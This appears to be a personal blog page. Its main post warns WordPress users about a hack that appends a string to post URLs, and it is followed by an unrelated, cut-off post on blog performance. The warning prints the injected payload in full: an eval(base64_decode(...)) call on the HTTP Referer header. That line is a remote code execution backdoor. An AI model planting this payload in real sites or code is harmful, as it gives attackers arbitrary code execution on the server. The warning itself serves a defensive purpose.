Wordpress

WordPress SQL injection hack: watch for=> %&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

If you are running a WordPress based blog like I am and suddenly notice your post URLs have something “extra” appended (see the subject line), your blog has been hacked.

You can read more about it here (thanks, UCLABoyz, thanks schang!), where you will also find guidance regarding cleaning the problem up. Unfortunately, it appears that the hack works on all versions of WordPress up to and including the most recent.

I have BadBehavior installed on my blog, and so it was rejecting the URLs with this addition which I *think* would be thwarting the hackers involved: they hadn’t been able to create an administrative user. Unfortunately, it also meant none of my blog posts were working properly until I noticed the problem and corrected it.

Hopefully WordPress will issue a fix for this soon- in the mean time, keep an eye on your URLs, WordPress bloggers!

UPDATE: Another link to a lengthy thread regarding this hack on the WordPress.org site. What is interesting here is the apparent vector: a weakness in the WordPress code, apparently up to and including the most recent release, that permits an ordinary subscriber (i.e.: not an administrative user) to run some administrator features e.g.: changing the permalinks.

UPDATE #2: it appears that updating to the most recent version of WordPress (2.8.4) removes the “double slash” vector for running some admin commands (notably permalink.php). This fix was apparently added somewhere between WordPress version 2.8 and 2.8.4.

I’ve included some extracts from my server logs and further thoughts below…

  

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Optimizing WordPress performance

My blog doesn’t get a lot of traffic. It has never been referenced on Slashdot. No one Diggs me. Basically, folks who find my site do so via a search engine, more or less by accident, or are friends and family. The fact that my site has been here at kgadams.net for a number of years and I’ve made an effort to make sure I keep the search engines moderately happy means that I get *some* traffic: maybe ten thousand hits a month, more or less. Just so we are on the same page: many “moderately popular” websites get that many hits in an hour. Seriously popular sites get that many in a minute.

But despite the fact that my site isn’t generating massive influxes of visitors, I still care about performance. It bugs me when my main page takes more than a second or two to generate, or when my administration interface takes ten seconds to appear. So what do I do to improve responsiveness? Well, I visit another blog…

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